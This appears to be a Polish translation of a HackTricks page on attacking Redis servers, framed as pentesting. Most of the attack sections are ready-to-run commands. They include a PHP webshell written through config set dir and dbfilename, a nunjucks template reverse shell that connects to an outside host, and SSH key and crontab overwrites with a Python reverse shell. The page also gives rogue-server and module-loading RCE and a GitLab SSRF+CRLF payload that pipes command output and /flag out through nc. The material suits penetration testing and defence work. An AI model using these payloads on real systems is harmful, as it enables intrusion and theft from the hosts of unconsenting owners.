hacktricks/network-services-pentesting/6379-pentesting-redis.md
2024-02-11 01:46:25 +00:00

20 KiB

6379 - Testowanie penetracyjne Redis

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Dołącz do serwera HackenProof Discord, aby komunikować się z doświadczonymi hakerami i łowcami nagród za błędy!

Spostrzeżenia dotyczące hakerstwa
Zajmuj się treściami, które zagłębiają się w emocje i wyzwania hakerstwa

Aktualności na żywo o hakerstwie
Bądź na bieżąco z szybkim tempem świata hakerstwa dzięki aktualnym wiadomościom i spostrzeżeniom

Najnowsze ogłoszenia
Bądź na bieżąco z najnowszymi programami bug bounty i ważnymi aktualizacjami platformy

Dołącz do nas na Discordzie i zacznij współpracować z najlepszymi hakerami już dziś!

Podstawowe informacje

Z dokumentacji: Redis to otwarty (licencja BSD), w pamięci podręcznej sklep struktur danych, używany jako baza danych, pamięć podręczna i broker wiadomości).

Domyślnie Redis używa protokołu opartego na tekście, ale należy pamiętać, że może również implementować ssl/tls. Dowiedz się, jak uruchomić Redis z ssl/tls tutaj.

Domyślny port: 6379

PORT     STATE SERVICE  VERSION
6379/tcp open  redis   Redis key-value store 4.0.9

Automatyczne wyliczanie

Niektóre narzędzia automatyczne, które mogą pomóc w uzyskaniu informacji z instancji Redis:

nmap --script redis-info -sV -p 6379 <IP>
msf> use auxiliary/scanner/redis/redis_server

Ręczne wyliczanie

Baner

Redis to protokół oparty na tekście, możesz po prostu wysłać polecenie przez gniazdo i zwrócone wartości będą czytelne. Pamiętaj również, że Redis może działać z użyciem ssl/tls (ale to bardzo dziwne).

W przypadku standardowej instancji Redis możesz po prostu połączyć się za pomocą nc lub możesz również użyć redis-cli:

nc -vn 10.10.10.10 6379
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools

Pierwszą komendą, którą możesz spróbować, jest info. Może ona zwrócić wynik z informacjami o instancji Redis lub coś podobnego może zostać zwrócone:

-NOAUTH Authentication required.

W tym ostatnim przypadku oznacza to, że potrzebujesz prawidłowych danych uwierzytelniających, aby uzyskać dostęp do instancji Redis.

Uwierzytelnianie Redis

Domyślnie Redis można uzyskać dostęp bez danych uwierzytelniających. Jednak można go skonfigurować tak, aby obsługiwał tylko hasło lub nazwę użytkownika + hasło.
Możliwe jest ustawienie hasła w pliku redis.conf za pomocą parametru requirepass lub tymczasowo do momentu ponownego uruchomienia usługi, łącząc się z nią i wykonując: config set requirepass p@ss$12E45.
Można również skonfigurować nazwę użytkownika w parametrze masteruser w pliku redis.conf.

{% hint style="info" %} Jeśli skonfigurowano tylko hasło, używana jest nazwa użytkownika "default".
Należy również zauważyć, że nie ma możliwości zewnętrznego sprawdzenia, czy Redis został skonfigurowany tylko z hasłem czy z nazwą użytkownika + hasłem. {% endhint %}

W przypadkach takich jak ten będziesz musiał znaleźć prawidłowe dane uwierzytelniające, aby móc korzystać z Redis, więc możesz spróbować przełamać go.
Jeśli znajdziesz prawidłowe dane uwierzytelniające, musisz uwierzytelnić sesję po nawiązaniu połączenia za pomocą polecenia:

AUTH <username> <password>

Poprawne dane uwierzytelniające zostaną odpowiedziane jako: +OK

Weryfikacja po uwierzytelnieniu

Jeśli serwer Redis zezwala na anonimowe połączenia lub jeśli uzyskano poprawne dane uwierzytelniające, można rozpocząć proces weryfikacji usługi za pomocą następujących komend:

INFO
[ ... Redis response with info ... ]
client list
[ ... Redis response with connected clients ... ]
CONFIG GET *
[ ... Get config ... ]

Inne polecenia Redis można znaleźć tutaj i tutaj.

Należy zauważyć, że polecenia Redis dla instancji mogą być zmieniane nazwą lub usunięte w pliku redis.conf. Na przykład ta linia usunie polecenie FLUSHDB:

rename-command FLUSHDB ""

Więcej informacji na temat bezpiecznej konfiguracji usługi Redis można znaleźć tutaj: https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04

Możesz również monitorować w czasie rzeczywistym wykonywane polecenia Redis za pomocą polecenia monitor lub uzyskać 25 najwolniejszych zapytań za pomocą polecenia slowlog get 25

Więcej interesujących informacji na temat innych poleceń Redis można znaleźć tutaj: https://lzone.de/cheat-sheet/Redis

Dumpowanie bazy danych

Wewnątrz Redis bazy danych są numerowane, zaczynając od 0. Można sprawdzić, czy któraś z nich jest używana w wyniku polecenia info w sekcji "Keyspace":

Można również uzyskać wszystkie keyspace'y (bazy danych) za pomocą:

INFO keyspace

W tym przykładzie używane są bazy danych 0 i 1. Baza danych 0 zawiera 4 klucze, a baza danych 1 zawiera 1. Domyślnie Redis używa bazy danych 0. Aby na przykład wyeksportować bazę danych 1, musisz wykonać:

SELECT 1
[ ... Indicate the database ... ]
KEYS *
[ ... Get Keys ... ]
GET <KEY>
[ ... Get Key ... ]

W przypadku otrzymania błędu -WRONGTYPE Operacja na kluczu, który przechowuje wartość niewłaściwego typu podczas uruchamiania GET <KLUCZ>, oznacza to, że klucz może być czymś innym niż ciąg znaków lub liczba całkowita i wymaga specjalnego operatora do wyświetlenia.

Aby poznać typ klucza, użyj polecenia TYPE, poniżej przedstawiono przykład dla kluczy listy i hasza.

TYPE <KEY>
[ ... Type of the Key ... ]
LRANGE <KEY> 0 -1
[ ... Get list items ... ]
HGET <KEY> <FIELD>
[ ... Get hash item ... ]

Zrzutuj bazę danych za pomocą npm redis-dump lub pythona redis-utils

Dołącz do serwera HackenProof Discord, aby komunikować się z doświadczonymi hakerami i łowcami błędów!

Wgląd w hakerstwo
Zajmuj się treściami, które zagłębiają się w emocje i wyzwania hakerstwa

Aktualności na żywo o hakerstwie
Bądź na bieżąco z szybkim tempem świata hakerstwa dzięki aktualnym wiadomościom i wglądom

Najnowsze ogłoszenia
Bądź na bieżąco z najnowszymi programami bug bounty i ważnymi aktualizacjami platformy

Dołącz do nas na Discordzie i zacznij współpracować z najlepszymi hakerami już dziś!

Redis RCE

Interaktywna powłoka

redis-rogue-server może automatycznie uzyskać interaktywną powłokę lub odwróconą powłokę w Redis (<=5.0.5).

./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ACCACKER_IP>

PHP Webshell

Informacje z tutaj. Musisz znać ścieżkę do folderu witryny:

root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /usr/share/nginx/html
OK
10.85.0.52:6379> config set dbfilename redis.php
OK
10.85.0.52:6379> set test "<?php phpinfo(); ?>"
OK
10.85.0.52:6379> save
OK

Jeśli wystąpi wyjątek dostępu do webshell, możesz opróżnić bazę danych po wykonaniu kopii zapasowej i spróbować ponownie, pamiętając o przywróceniu bazy danych.

Szablon Webshell

Podobnie jak w poprzedniej sekcji, możesz również nadpisać pewien plik szablonu HTML, który zostanie zinterpretowany przez silnik szablonów i uzyskać shell.

Na przykład, zgodnie z tym opisem, możesz zobaczyć, że atakujący wstrzyknął rev shell w html interpretowany przez silnik szablonów nunjucks:

{{ ({}).constructor.constructor(
"var net = global.process.mainModule.require('net'),
cp = global.process.mainModule.require('child_process'),
sh = cp.spawn('sh', []);
var client = new net.Socket();
client.connect(1234, 'my-server.com', function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});"
)()}}

{% hint style="warning" %} Zauważ, że wiele silników szablonów przechowuje szablony w pamięci, więc nawet jeśli je nadpiszesz, nowy szablon nie zostanie wykonany. W takich przypadkach albo programista pozostawił aktywne automatyczne przeładowanie, albo musisz przeprowadzić atak DoS na usługę (i oczekiwać, że zostanie automatycznie uruchomiona ponownie). {% endhint %}

SSH

Przykład stąd

Proszę pamiętać, że wynik config get dir może ulec zmianie po wykonaniu innych poleceń wykorzystujących podatność. Sugeruję uruchomienie go jako pierwszego zaraz po zalogowaniu się do Redis. W wyniku polecenia config get dir można znaleźć katalog domowy użytkownika redis (zazwyczaj /var/lib/redis lub /home/redis/.ssh), a znając to, wiesz, gdzie możesz zapisać plik authenticated_users, aby uzyskać dostęp przez ssh z użytkownikiem redis. Jeśli znasz katalog domowy innego ważnego użytkownika, w którym masz uprawnienia do zapisu, możesz go również wykorzystać:

  1. Wygeneruj parę kluczy publicznych i prywatnych ssh na swoim komputerze: ssh-keygen -t rsa
  2. Zapisz klucz publiczny do pliku: (echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt
  3. Zaimportuj plik do Redis: cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key
  4. Zapisz klucz publiczny w pliku authorized_keys na serwerze Redis:
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /var/lib/redis/.ssh
OK
10.85.0.52:6379> config set dbfilename "authorized_keys"
OK
10.85.0.52:6379> save
OK
  1. Wreszcie, możesz ssh do serwera Redis z kluczem prywatnym: ssh -i id_rsa redis@10.85.0.52

Ta technika jest zautomatyzowana tutaj: https://github.com/Avinash-acid/Redis-Server-Exploit

Crontab

root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root
OK
root@Urahara:~# redis-cli -h 10.85.0.52 save
OK

Ostatni przykład dotyczy Ubuntu, dla Centos, powyższe polecenie powinno być: redis-cli -h 10.85.0.52 config set dir /var/spool/cron/

Ta metoda może również być użyta do zarabiania bitcoinów: yam

Ładowanie modułu Redis

  1. Postępując zgodnie z instrukcjami z https://github.com/n0b0dyCN/RedisModules-ExecuteCommand, możesz skompilować moduł Redis do wykonywania dowolnych poleceń.
  2. Następnie potrzebujesz sposobu na przesłanie skompilowanego modułu.
  3. Załaduj przesłany moduł w czasie działania za pomocą MODULE LOAD /ścieżka/do/mymodule.so
  4. Wyświetl załadowane moduły, aby sprawdzić, czy został poprawnie załadowany: MODULE LIST
  5. Wykonaj polecenia:
127.0.0.1:6379> system.exec "id"
"uid=0(root) gid=0(root) groups=0(root)\n"
127.0.0.1:6379> system.exec "whoami"
"root\n"
127.0.0.1:6379> system.rev 127.0.0.1 9999
  1. Wyłącz moduł w dowolnym momencie: MODULE UNLOAD mymodule

Bypassowanie piaskownicy LUA

Tutaj możesz zobaczyć, że Redis używa polecenia EVAL do wykonywania kodu Lua w piaskownicy. W połączonym poście możesz zobaczyć, jak go nadużyć za pomocą funkcji dofile, ale najwyraźniej to już nie jest możliwe. W każdym razie, jeśli możesz obejść piaskownicę Lua, możesz wykonywać dowolne polecenia w systemie. Ponadto, z tego samego postu możesz zobaczyć kilka opcji powodujących DoS.

Niektóre CVE do ucieczki z LUA:

Moduł Master-Slave

Operacje na głównym Redisie są automatycznie synchronizowane na Redisie podrzędnym, co oznacza, że możemy traktować podatny Redis jako Redis podrzędny, podłączony do głównego Redisu, który jest pod naszą kontrolą, a następnie możemy wprowadzać polecenia do naszego własnego Redisa.

master redis : 10.85.0.51 (Hacker's Server)
slave  redis : 10.85.0.52 (Target Vulnerability Server)
A master-slave connection will be established from the slave redis and the master redis:
redis-cli -h 10.85.0.52 -p 6379
slaveof 10.85.0.51 6379
Then you can login to the master redis to control the slave redis:
redis-cli -h 10.85.0.51 -p 6379
set mykey hello
set mykey2 helloworld

SSRF rozmawiający z Redisem

Jeśli możesz wysłać żądanie w czystym tekście do Redis, możesz z nim komunikować się, ponieważ Redis będzie odczytywał żądanie linia po linii i odpowiadał tylko na linie, które rozumie:

-ERR wrong number of arguments for 'get' command
-ERR unknown command 'Host:'
-ERR unknown command 'Accept:'
-ERR unknown command 'Accept-Encoding:'
-ERR unknown command 'Via:'
-ERR unknown command 'Cache-Control:'
-ERR unknown command 'Connection:'

Dlatego jeśli znajdziesz podatność SSRF na stronie internetowej i możesz kontrolować niektóre nagłówki (może za pomocą podatności CRLF) lub parametry POST, będziesz mógł wysyłać dowolne polecenia do Redis.

Przykład: Gitlab SSRF + CRLF do Shell

W wersji Gitlab11.4.7 odkryto podatność SSRF oraz CRLF. Podatność SSRF występowała w funkcji importowania projektu z adresu URL podczas tworzenia nowego projektu i umożliwiała dostęp do dowolnych adresów IP w formie [0:0:0:0:0:ffff:127.0.0.1] (co spowoduje dostęp do 127.0.0.1), a podatność CRLF była wykorzystywana poprzez dodanie znaków %0D%0A do adresu URL.

Dlatego możliwe było wykorzystanie tych podatności do komunikacji z instancją Redis, która zarządza kolejkami w gitlabie i wykorzystanie tych kolejek do wykonania kodu. Payload do wykorzystania kolejki Redis to:

multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec

A następnie zakoduj żądanie wykorzystujące SSRF i CRLF, aby wykonać polecenie whoami i przesłać wynik za pomocą nc. Oto to:

git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git

Z jakiegoś powodu (jak dla autora https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/ skąd pochodzi ta informacja) wykorzystanie działało z użyciem schematu git, a nie schematu http.

Dołącz do serwera HackenProof Discord, aby komunikować się z doświadczonymi hakerami i łowcami błędów!

Wgląd w Hacking
Zajmuj się treściami, które zagłębiają się w emocje i wyzwania związane z hakowaniem

Aktualności na żywo o Hackingu
Bądź na bieżąco z szybkim tempem świata hakowania dzięki aktualnym wiadomościom i wglądom

Najnowsze Ogłoszenia
Bądź na bieżąco z najnowszymi programami bug bounty i ważnymi aktualizacjami platformy

Dołącz do nas na Discordzie i zacznij współpracować z najlepszymi hakerami już dziś!

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks: